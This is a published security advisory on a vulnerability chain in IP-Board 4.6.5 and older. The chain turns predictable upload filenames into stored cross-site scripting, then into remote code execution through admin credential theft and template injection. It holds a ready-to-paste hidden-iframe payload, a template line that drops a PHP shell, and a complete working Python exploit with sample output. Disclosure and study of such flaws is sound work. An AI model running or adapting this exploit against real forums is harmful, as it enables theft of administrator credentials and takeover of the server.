# SSD Advisory - IP-Board Stored XSS to RCE Chain
August 17, 2021 [SSD Disclosure / Technical Lead](https://ssd-
disclosure.com/author/noamr/ "Posts by SSD Disclosure / Technical Lead")
[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how an XSS in IP-Board can be leveraged into an remote code
execution.
**Vulnerability Summary**
**CVE**
CVE-2021-39249, CVE-2021-39250
****Credit****
An independent security researcher, Simon Scannell, has reported this
vulnerability to the SSD Secure Disclosure program.
**Affected Versions**
IP-Board version 4.6.5 and older
**Fixed Versions**
IP-Board version 4.6.5.1 and newer
**Vendor Response**
The vendor has released a patch with version 4.6.5.1,
https://invisioncommunity.com/release-notes/4651-r102/
**Vulnerability Analysis**
**_0x01 - Insecure filename randomization to Stored XSS_**
IP-Board Attachments and default mimetypes
Like most forum software, IP Board allows forum users to upload attachments to
posts and PMs. These attachments are uploaded to the application's upload
directory. The following screenshot shows the file system of an IP-Board
installation after a file _somefile_ and an image _avatar.png_ have been
uploaded to the IP Board as attachments
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593618878-w331s)
As can be seen, the upload directory for the current month (at the time of
writing it is July, so the upload path is _uploads/montly_2019_07_ ) contains
3 files:
_omefile.99ae3455bc7503eb0742681e6feee4bc
avatar.png.866393dfbe6ffc9954de9ce50e87c92d.png
index.html
As can be seen, the original filenames of the uploaded files are slightly
modified and a MD5 hash has been added to them. We will assume that this MD5
hash is randomly generated for now.
The index.html is generated by IP-Board and has the purpose to prevent
directory listings in the upload directory. Direct access to this directory is
allowed and not prohibited by .htaccess files.
This is because partially, direct access to this directory is desired behavior
by IPBoard, to allow for example image embedding. Once the user has uploaded
such attachments to the board, he will receive a link to both of the files.
However ,the link to both of these files differs. The first file is a file
without an extension and is therefor possibly dangerous. When this file is
uploaded, IP-Board simply returns the ID of this attachment as it is saved in
the database, as is shown in the following screenshot:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593623134-w331s)
This attachment can then be accessed via the URL:
_http://localhost/ip-
board-4.4.4/applications/core/interface/file/attachment.php?id=7_
When this URL is accessed, IP-Board resolves the attachment ID to the
randomized filename in the uploads directory and serves it as a download file.
This is in and of itself secure.
However, when an image is uploaded to the board as an attachment, the full
filename is sent back as a response. Since images are harmless, direct access
is allowed and encouraged by IP-Board.
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593627234-w331s)
The only thing that prevents a user to directly access files that are not
images is that he does not know the MD5 hash that randomizes the filename. If,
in theory he could leak the MD5 hash of that filename, security issues could
arise.
If you look closely at the filename
__omefile.99ae3455bc7503eb0742681e6feee4bc_ , you can notice that no extension
is set. The default behavior of Apache is to then simply set the Content-Type
header to text/html when the file is directly accessed.
The next screenshot shows how this file is accessed directly and how this
leads to a XSS vulnerability:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593631227-w331s)
This means an attacker could theoretically gain a reflected XSS vulnerability
by sending a victim a link to the file on the server.
However, there are two issues with this:
1. The attacker has to actually know the full filename. As for now, we assume that the
filename randomization is secure.
2. Reflected XSS vulnerabilities are not critical
The next two sections are going to deal with predicting the filename reliably
and how to turn this reflected XSS into a stored XSS vulnerability.
_**Predicting filenames due to insecure filename randomization**_
The function responsible for randomizing uploaded files is called
obscureFilename and is located in _system/File/File.php_ on line 928. It is
shown below:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593636453-w331s)
As can be seen, the MD5 hash that leads to the obscured filename is simply a
hash of the return value of the PHP built-in mt_rand(). PHP itself warns that
mt_rand() is just a pseudo random generator and does not produce
cryptographically secure values.
Each call to mt_rand() produces a value in the range of 1 to 2^31 -1. This
means that there are only 2 billion possibilities the MD5 hash can take on.
However, brute forcing and possibly sending billions of requests to the
uploads directory is not a liable option.
Therefor we investigated how mt_rand() works and if there was any way to
predict filenames with a more elegant approach.
The first time mt_rand() is called in a PHP process, a random seed is
internally generated. Each value returned by mt_rand() is then based on that
internal seed.
This behavior is demonstrated in the following examples, the following PHP
code constantly produces the same output:
Bash command: php -r "mt_srand(123);echo mt_rand();"
Output: 1495656191
In the above code, the first function call to mt_srand() simply sets the
internal seed manually to 123. Usually, mt_srand() is not called and a random
seed is generated when mt_rand() is called the first time.
This behavior is interesting in a lot of ways, since it means that the output
of mt_rand() is predictable if the seed was known.
IP-Board allows to upload multiple attachments in a single request. Let's
assume we upload _somefile_ and _avatar.png_ in a single request. In that case
both filenames would be randomized with mt_rand(), using the same seed since
the process is the same.
Since _avatar.png_ is an image, the full filename, including the resulting MD5
hash is sent back to us.
Since the MD5 hash can only take on 2 billion values, it can easily be
bruteforced. We performed this action on a consumer laptop with a non-
optimized Python script in about 20-30 minutes.
Once the MD5 hash of the image URL is cracked, we are in possession of one
value generated by mt_rand(). Based on the retrieved, generated value it is
possible to determine the seed that was used to generate that value. Once the
seed is determined, one can easily calculate all other values generated by
mt_rand() in that process.
This is based on the research done by https://www.openwall.com/php_mt_seed/
The attack plan therefor is:
1. Upload _somefile_ and _avatar.png_
2. Retrieve the MD5 hash of the uploaded _avatar.png_
3. Crack it and retrieve the value produced by the corresponding `mt_rand()` call
4. Calculate the seed used by this `mt_rand()` call
5. calculate all other values generated by `mt_rand()` based on that seed
6. Hash the other values generated by `mt_rand()` and predict the filename of _somefile_
reliably.
The php_mt_seed_cracker tool linked above takes about 2-5 minutes to calculate
the seed of the value.
The attached exploit file xss_gen.py performs all of this automatically. It
uploads two files and predicts the filename of the file without an extension.
Therefor an attacker can leak the filename reliably.
This way an attacker can easily access a file without an extension directly
and therefor has gained a reflected XSS vulnerability.
The next section deals with turning the Reflected XSS vulnerability into a
Stored XSS.
_**Escalating the Reflected XSS to Stored XSS**_
Like most forum software, IP-Board allows forum users to embed images, videos
etc. into their private messages and posts and threads. The function that
handles all of the parsing of images etc. is `parse()`, located in
_system/Text/Parser.php_ on line 191.
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593640879-w331s)
The $value parameter passed to parse is the raw, unsanitized, unfiltered user
input that corresponds to the contents of the private message or post /
thread. It is first purified via the htmlPurifier class, then parsed and then
purified again.
The purifier uses the PHP internal DOMDocument class to traverse over all
nodes and leaves only white listed HTML tags and attributes. We did not
discover a bypass for the purifier. Usually, I would look for parsing flaws
that lead to XSS in the second step, the step that actually parses the
content. Although that would probably work, the resulting, parsed content is
purified again after the second step. Therefor finding a parsing flaw is
pointless, unless a bypass for the purifier exists.
However, one of the allowed HTML tags are iFrames. Although the allowed
websites that can be embedded with iFrames are whitelisted, it is possible to
embed the board itself into an iframe. A part of the whitelist that verifies
the iFrame src is shown below:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593645033-w331s)
As can be seen, the allowed websites that can be iframed are checked with a
regex filter. It is actually possible to embed any page of a board, but it
must start with either /core or /interface in the URL (e.g.
http://localhost/ip-board-4.4.4/core/)
However, it is possible to bypass this regex whitelist by setting the src
attribute of the iframe to:
%7B___base_url___%7D/core/../uploads/monthly_2019_07/_omefile.6732c73ec6df41f316fc997d3b1edc6a?
The `%7B___base_url___%7D` part of the URL is replaced by IP-Board with the
URL of the board itself, serverside.
This way it is possible to embed a malicious file with a default content type
of text/html with an iFrame into private messages, posts and threads.
**_Summary Stored XSS_**
1. It is possible to upload two attachments in a single request. Although their physical filenames on the server are randomized, it is possible to calculate their filenames.
2. It is possible to directly access both files with the browser. If one of the two files does not have an extension, the Content-Type is set to text/html, thus it is possible to execute arbitrary JavaScript code
3. The IP-Board parser allows iFrame tags in private messages, threads and posts. By displaying the malicious uploaded file in an iFrame, the attacker can achieve Stored XSS impact.
A final, example payload might look like this:
<iframe src='%7B___base_url___%7D/core/../uploads/monthly_2019_07/_omefile.6732c73ec6df41f316fc997d3b1edc6a?' style='height:1px;width:1px;opacity:0.01;border:none;'></iframe>
This payload can then be used by for example composing a private message to an
administrator, use the inspect element functionality of the browser and insert
the payload as HTML into the input field, for example:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593650094-w331s)
It is possible to insert the payload as HTML directly, as it will be encoded
otherwise.
**_0x02 - Escalating from Stored XSS to RCE_**
With the above discussed Stored XSS, it is possible to read private messages
of other users and access forums that should not be accessed, etc. It is also
possible to perform arbitrary actions in the name of any user who falls prey
to this XSS attack, even administrator.
In most cases an attacker will try to escalate this Stored XSS to RCE by
performing administrative actions that lead to RCE through XSS'ing an
administrator.
_**Background - Front end and back end session separation**_
Like most forum software, each IP Board installation consists of a front end
and backend. The front end is accessible to any forum member and is the place
where private messages are sent and read, posts and threads are created etc.
The back end is only accessible to administrators and is the place forum
settings are changed and dangerous features such as the templating engine can
be managed. The front and back end each have separate sessions. This means
just because an administrator is logged into the front end, he is not
necessarily authenticated in the backend.
Furthermore, the admin session ID is not stored in a cookie but must be sent
as a GET parameter on every action in the admin panel.
The next screenshot shows the admin panel of an IP-Board installation where an
administrator is within the admin panel and a admin session ID is displayed in
the URL bar:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593655296-w331s)
As can be seen, the admin session ID is randomized, in this case securely.
This means even if an attacker sends an admin a XSS payload and the admin
happens to be authenticated at the same time, the attacker would still need
the admin session ID so that he could actually perform actions in the admin
panel.
We did not discover a way to leak the admin session ID, so another path of
attack is necessary.
**_Background - IP Board widgets_**
Administrators can, regardless of whether or not they are logged into the back
end,
configure so called widgets in the front end.
The following screenshot shows an example of such a widget:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593659956-w331s)
Here, the example widget is a feed of the most recent articles, which are
displayed on the right side.
Administrators can configure these widgets in the front end, which means an
attacker can configure widgets whenever an administrator triggers his XSS
payload.
The next screenshot shows how an administrator may configure these widgets
through a built in drag & drop builder.
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593664182-w331s)
2 of these built-in widgets are very interesting:
* Guest Signup
* Newsletter Sign Up widget
The former is shown to all unauthenticated users browsing the forum and the
latter to all authenticated users. Both widgets have in common that they are
parsed by the same parser that renders PMs. The next screenshot shows how an
administrator may configure a Guest Signup widget:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593670614-w331s)
There are two interesting things to notice:
* It is possible to hide a widget on certain devices, or, on all devices
* Configure a custom message, which can again contain an iframe that embedds an uploaded exploit file that is sent back with the content type text/html
An attacker can therefor get an administrator to trigger a XSS payload, which
then runs in the session of the administrator. The XSS payload then embeds a
new, hidden widget with another Stored XSS payload into any page the attacker
desires. The next two sections will detail how this can be escalated to RCE.
**_Escalation method #1 - JavaScript keylogger in login page_**
The Guest Signup widget is shown to all unauthenticated visitors of a forum,
e.g. people who have not yet registered or people who have an account but have
yet to sign in.
It is possible to display this widget in the main login site of IP board.
Since we can enable arbitrary XSS payloads through the same vulnerability
abused to gain Stored XSS in the first place, it is possible to simply set a
listener on form submissions and send credentials to an attacker server.
Since the credentials for the front end login and the back end login are the
same, an attacker can simply wait until an administrator logs into the front
end again (e.g. when he logs in from another device or does not set the
"remember me" option) and then use those credentials to log into the ACP and
then execute an RCE exploit.
We have included a PoC keylogger exploit.
**_Escalation method #2 - Stealing admin session ID through the referer_**
When an administrator leaves the ACP through the "Visit Site" button in the
ACP (to e.g. view changes he made or view a user, or a notification), he is
redirected to the index site of the forum. Since the admin session ID is
stored in the URL as a GET parameter, it will therefor be leaked in the HTTP
Referer header.
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593675096-w331s)
Since it is possible to embed a widget with a Stored XSS payload into the
forum index, it is possible to inject a XSS listener that will lay dormant
until the referer contains the admin session ID. If it does, it will execute a
RCE exploit.
We have provided a PoC JavaScript exploit that does this automatically.
**_Background - RCE in ACP_**
Once an attacker is able to perform administrative options, either through
having obtained the administrators credentials or by having stolen his admin
session ID, he can execute arbitrary code through the templating engine of IP
Board.
In the back end, simply navigate to Appearance -> Themes -> Edit HTML. Select
the globalTemplate and insert:
expression="file_put_contents('shell.php', '')"}
at the top of the file to drop a PHP shell in the main directory of the IP
board installation.
The next screenshot shows the template editor:
![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1640593679646-w331s)
Then click save and simply visit the index page of the board and check if
`shell.php` has been created in the IP-Board directory.
**_Putting it all together - Exploit description_**
One of the files we have provided is the xss_gen.py script, which is an
exploit for the latest IP-Board version. It requires a couple of parameters:
The target URL, a forum user account name and password, an image to upload and
a JavaScript exploit to upload.
The script then uploads the two files and calculates the exact filename of the
JavaScript exploit. It will then generate iFrame HTML markup that can be copy
& pasted by an attacker into a private message.
Example usage and output might look like:
python3 xss_gen.py http://localhost/ip-board-4.4.5/ forumuser password image.jpg js_modules/exploit_keylogger
[+] Login succeeded with given credentials
[+] Successfully uploaded both files
[+] The files were successfully uploaded
[*] Image URL: http://localhost/ip-board-4.4.5/uploads/monthly_2019_07/image.jpg.d0b4aa778b4910ed669deb1e55f6742a.jpg
[*] Upload Path on server (relative to board URL): uploads/monthly_2019_07
[*] MD5 hash of mt_rand() of the filename: d0b4aa778b4910ed669deb1e55f6742a
[*] Now cracking the hash. This might take a moment...
[+] Cracked the MD5 hash! the value of mt_rand() is 1095894272
[*] Now calculating the seed for mt_rand() and possible hash values of the exploit filename
Version: 3.0.7 to 5.2.0
Found 0, trying 0xec000000 - 0xefffffff, speed 653.4 Mseeds/s
Found 2, trying 0xfc000000 - 0xffffffff, speed 652.4 Mseeds/s
Version: 5.2.1+
Found 2, trying 0x54000000 - 0x55ffffff, speed 48.7 Mseeds/s
Found 4, trying 0xb2000000 - 0xb3ffffff, speed 48.5 Mseeds/s
Found 5, trying 0xfe000000 - 0xffffffff, speed 48.6 Mseeds/s [+] Generated 3 possible hashes for
the exploit filename
[+] SUCCESS - exploit file successfully uploaded and is ready to launch
Simply chose the form you want to XSS (PM / post / thread etc.), right click, inspect element and
insert the following HTML:
<iframe
src='%7B___base_url___%7D/core/../uploads/monthly_2019_07/_J19da39an.f292665d2b9e76ce99
81016c63e22eea?' style='height:1px;width:1px;opacity:0.01;border:none;'></iframe>
We have also provided two PoC JavaScript exploits. One for installing a
keylogger into the login page and one for installing an admin session ID
stealer into the index page.
**Reproduction steps**
In order to get the exploit ready, please do the following things:
1. Build the `mt_seed_cracker` via "make" in it's directory in bin. You can also downloaded
from: https://www.openwall.com/php_mt_seed/
2. Make sure php5.6 is installed and when the bash command 'php5.6' is called a version of php version 5.6.0 is called
3. Make sure php7.2 is installed and when the bash command 'php7.2' is called a version of php version 7.2.x is called
4. Install the latest IP board version. Make sure Apache is used as the webserver
5. Install the CLI version of hashcat (`apt install hashcat`)
6. Install python requests (`pip3 install requests`)
7. Create a normal, unprivileged forum user account
**Exploit**
```python
#!/usr/bin/python3
import sys
import re
import json
import base64
import hashlib
import requests
import os.path
import sqlite3
import subprocess
class Explo1t:
def __init__(self, target_url, username, password, image_path, exploit_path):
self.session = requests.Session()
self.target_url = target_url if target_url.endswith("/") else target_url + "/"
self.username = username
self.password = password
self.image_path = image_path
self.exploit_path = exploit_path
self.ref = base64.b64encode(bytes(self.target_url.encode('UTF-8')))
def login(self):
query_string = "?app=system&module=core&controller=login"
r = self.session.get(target_url + query_string)
csrftoken = self._get_csrf_key(r.text, "login")
data = {
'auth': self.username,
'password': self.password,
'csrfKey': csrftoken,
'_processLogin': 'usernamepassword',
}
r = self.session.post(target_url + "?/login/", data=data, allow_redirects=False)
# if the login worked, grab the CSRF nonce for this session
if r.status_code > 300:
print("[+] Login suceeded with given credentials")
r = self.session.get(target_url)
regex = re.compile('csrfKey: "([^"]+)"', re.IGNORECASE)
matches = regex.findall(r.text)
if not matches is None and len(matches) > 0:
self.csrfKey = matches[0]
else:
print("[-] Failed to grab the CSRF nonce for this session" )
exit(1)
else:
print("[-] Login credentials were invalid or login failed for another reason")
exit()
def generate_exploit_file(self):
with open(self.exploit_path, 'r') as f:
exploit_code = f.read()
with open('/tmp/DJ19da39an', 'w') as rf:
exploit_code_tmp = """<script>
var node = parent.document.createElement("script");
node.innerHTML = atob('%s');
parent.document.getElementsByTagName("body")[0].appendChild(node);
</script>
"""
exploit_code = exploit_code_tmp % base64.b64encode(exploit_code.encode('UTF-8')).decode('UTF-8')
rf.write(exploit_code)
self.exploit_path = "/tmp/DJ19da39an"
def _get_csrf_key(self, text, action=False):
regex = re.compile('name="csrfKey" value="([^"]+)"', re.IGNORECASE)
matches = regex.findall(text)
if not matches is None and len(matches) > 0:
return matches[0]
else:
print("[-] Failed to grab the CSRF nonce" + " for %s!" % action if action else "!")
exit(1)
# lel name="csrfKey" value="e34e486cbdb6dda50b9fac3aeb7dcd3f"
return
def _upload_files(self):
query_string = "/?app=core&module=messaging&controller=messenger&do=compose&XDEBUG_SESSION=PHPSTORM"
data = {
'form_submitted': True,
'csrfKey': self.csrfKey
}
# we need to additionally send a pl upload key, which is a md5 hash of the user session ID and a static string
cookies = self.session.cookies.get_dict()
plupload = hashlib.md5(("messenger_content_upload" + cookies['ips4_IPSSessionFront']).encode('UTF-8')).hexdigest()
headers = {
'X-PLUPLOAD': plupload,
'X-REQUESTED-WITH': 'XMLHttpRequest'
}
# select the files to upload
files = {
'one': open(self.image_path, 'rb'),
'two': open(self.exploit_path, 'rb')
}
r = self.session.post(target_url + query_string, data=data, headers=headers, files=files)
# validate that the file has been uploaded
try:
value = json.loads(r.text)
except:
print("[-] File upload failed")
exit()
print("[+] Successfully uploaded both files")
# return the file upload location
return value['imagesrc']
# emulates the 'obscureFilename' method that can replace some characters in the exploit filename
def obscure_filename(self, filename, hash=False):
safe_extensions = ['js', 'css', 'txt', 'ico', 'gif', 'jpg', 'jpe', 'jpeg', 'png', 'mp4', '3gp', 'mov', 'ogg', 'ogv', 'mp3', 'mpg', 'mpeg', 'ico', 'flv', 'webm', 'wmv', 'avi', 'm4v']
extension = filename.split(".")[-1] if len(filename.split(".")) >= 2 else filename[1:]
safe = extension in safe_extensions
if not safe:
try:
extension_position = filename.rindex(".")
filename = filename[:extension_position] + "_" + extension
except:
# no dot in filename. This means the filename is the 'extension'
filename = "_" + extension
regex = re.compile("\.(?!(%s))([a-z0-9]{2,4})(\.|$)" % ("|".join(safe_extensions)), re.IGNORECASE)
toDo = True
while toDo:
matches = regex.search(filename)
if matches is None:
toDo = False
break
else:
match = matches[2]
filename = filename.replace("." + match, "_" + match)
return filename.replace(" ", "").replace("#", "") + ("." + hash) if hash else ""
def plant_malicious_file(self):
self.upload_url = self._upload_files()
print("[+] The files were successfully uploaded")
def parse_uploaded_image(self):
# get the upload path from the URL
regex = re.compile("%s/*(.+)%s\.(.*)\." % (
re.escape(self.target_url), re.escape(self.obscure_filename(os.path.basename(self.image_path)))),
re.IGNORECASE)
matches = regex.search(self.upload_url)
if matches is None:
print("[-] The regex was unable to parse the MD5 hash out of upload URL: %s" % self.upload_url)
exit()
print("[*] Image URL: %s" % self.upload_url)
print("[*] Upload Path on server (relative to board URL): %s" % os.path.dirname(matches[1]))
self.upload_path = os.path.dirname(matches[1])
print("[*] MD5 hash of mt_rand() of the filename: %s" % matches[2])
print("[*] Now cracking the hash. This might take a moment...")
self.image_hash = matches[2]
def crackimagehash(self):
# delete the results.txt file so that we always get the correct result
if os.path.exists("/tmp/result.txt"):
os.remove("/tmp/result.txt")
# write the hash to a tmp file for hashcat
with open('/tmp/hash.txt', 'w') as f:
f.write(self.image_hash)
f.close()
# use hashcat to crack the hash
seeds = subprocess.Popen("hashcat -m 0 --attack-mode 3 /tmp/hash.txt ?d?d?d?d?d?d?d?d?d?d --increment --force -o /tmp/result.txt"
, shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8')
# try to read the result from the resulting filename
with open('/tmp/result.txt', 'r') as f:
result = f.read()
result = result.split(":")
if not len(result) > 0:
print("Failed to crack the hash with hashcat for some reason")
exit(1)
self.image_hashed_value = result[1]
print("[+] Cracked the MD5 hash! the value of mt_rand() is %s" % self.image_hashed_value.strip())
return
def calculate_possible_hashes(self):
print("[*] Now calculating the seed for mt_rand() and possible hash values of the exploit filename")
seeds = subprocess.Popen("bin/php_mt_seed-4.0/php_mt_seed 0 0 0 0 " + self.image_hashed_value, shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8')
# get PHP5 hashes
regex = re.compile("seed\s*=\s*0x[a-f0-9]+\s*=\s*([0-9]+)\s*\(PHP\s*5\.2\.1")
matches_php5 = regex.findall(seeds)
possible_hashes = []
if matches_php5 and len(matches_php5) > 0:
for value in matches_php5:
possible_hashes.append(subprocess.Popen(
"php5.6 -r 'mt_srand(\"%s\");mt_rand();mt_rand();echo md5(mt_rand());'" % value, shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8').strip())
# get PHP7 hashes
regex = re.compile("seed\s*=\s*0x[a-f0-9]+\s*=\s*([0-9]+)\s*\(PHP\s*7\.1\.0")
matches_php7 = regex.findall(seeds)
if matches_php7 and len(matches_php7) > 0:
for value in matches_php7:
possible_hashes.append(
subprocess.Popen(
"php7.2 -r 'mt_srand(\"%s\");mt_rand();mt_rand();echo md5(mt_rand());'" % value,
shell=True,
stdout=subprocess.PIPE).stdout.read().decode('UTF-8').strip())
if len(possible_hashes) > 1:
print("\n[+] Generated %d possible hashes for the exploit filename" % len(possible_hashes))
self.possible_hashes = possible_hashes
else:
print("[-] Cracking the mt_rand values failed")
exit()
def find_exploit_file(self):
found = False
for hash in self.possible_hashes:
current_url = self.target_url + self.upload_path + "/" + self.obscure_filename(os.path.basename(self.exploit_path), hash)
r = self.session.get(current_url)
if r.status_code == 200:
found = True
if not 'Content-Type' in r.headers or r.headers['Content-Type'] == 'text/html':
print("[+] SUCCESS - exploit file successfully uploaded and is ready to launch")
self.exploit_path_url = os.path.basename(current_url)
else:
print("[-] The file was uploaded and found but the content type is not text/html")
exit()
break
if not found:
print("[-] The file was not found")
exit()
def generate_xss_exploit(self):
print("\n\nSimply chose the form you want to XSS (PM / post / thread etc.), right click, inspect element and insert the following HTML:\n\n")
payload = "<iframe src='%%7B___base_url___%%7D/core/../%s/%s?' style='height:1px;width:1px;opacity:0.01;border:none;'></iframe>" % (self.upload_path, self.exploit_path_url)
print(payload)
def launch(self):
self.login()
self.generate_exploit_file()
self.plant_malicious_file()
self.parse_uploaded_image()
self.crackimagehash()
self.calculate_possible_hashes()
self.find_exploit_file()
self.generate_xss_exploit()
'''test = Explo1t("x", "x", "y", "d", "x")
print(test.obscure_filename("lol.php.png"))
exit()'''
# parse user args
if not len(sys.argv) == 6:
print("Usage: %s target_url username password path/imageToUpload.png path/exploit_js_file" % sys.argv[0])
exit()
target_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
image_path = sys.argv[4]
exploit_path = sys.argv[5]
# do some validation beforehand. We do not want special characters in the exploit filename, otherwise mt_rand() will be called another time
# and calculations may fail
regex = re.compile("[^a-zA-Z0-9!\-_\.\*\(\)\@]", re.IGNORECASE)
if regex.search(os.path.basename(exploit_path)):
print("[-] The exploit filename should not contain characters other than alphanumerical characters and [!-_.*()@]. Whitespaces are also bad.")
exit()
if len(os.path.basename(exploit_path)) > 50:
print("[-] The exploit filename should not be longer than 50 characters so we don't run into problems with filename truncation")
exit()
if len(os.path.basename(image_path)) > 50:
print("[-] The image filename should not be longer than 50 characters so we don't run into problems with filename truncation")
exit()
# make sure the exploit file does not have a 'safe' file extension so that it is uploaded with out an extension
safe_extensions = ['js', 'css', 'txt', 'ico', 'gif', 'jpg', 'jpe', 'jpeg', 'png', 'mp4', '3gp', 'mov', 'ogg', 'ogv', 'mp3', 'mpg', 'mpeg', 'ico', 'flv', 'webm', 'wmv', 'avi', 'm4v']
extension = os.path.basename(exploit_path).split(".")[-1] if len(os.path.basename(exploit_path).split(".")) >= 2 else os.path.basename(exploit_path[1:])
if extension in safe_extensions:
print("[-] The exploit file path must not have one of the following extensions: %s" % " ".join(safe_extensions))
print("[-] This is to ensure that no extension is set for our uploaded exploit file so that the MIME type of the response is text/html")
exit()
# make sure that the image upload path actually has a safe image extension so that it's location is leaked
image_extensions = ['jpg', 'jpe', 'jpeg', 'png', 'gif']
extension = os.path.basename(image_path).split(".")[-1] if len(os.path.basename(image_path).split(".")) >= 2 else os.path.basename(image_path)[1:]
if extension not in image_extensions:
print("[-] The uploaded image must have one of the following extensions: %s" % " ".join(image_extensions))
exit()
explo1t = Explo1t(target_url, username, password, image_path, exploit_path)
explo1t.launch()
```
暂无评论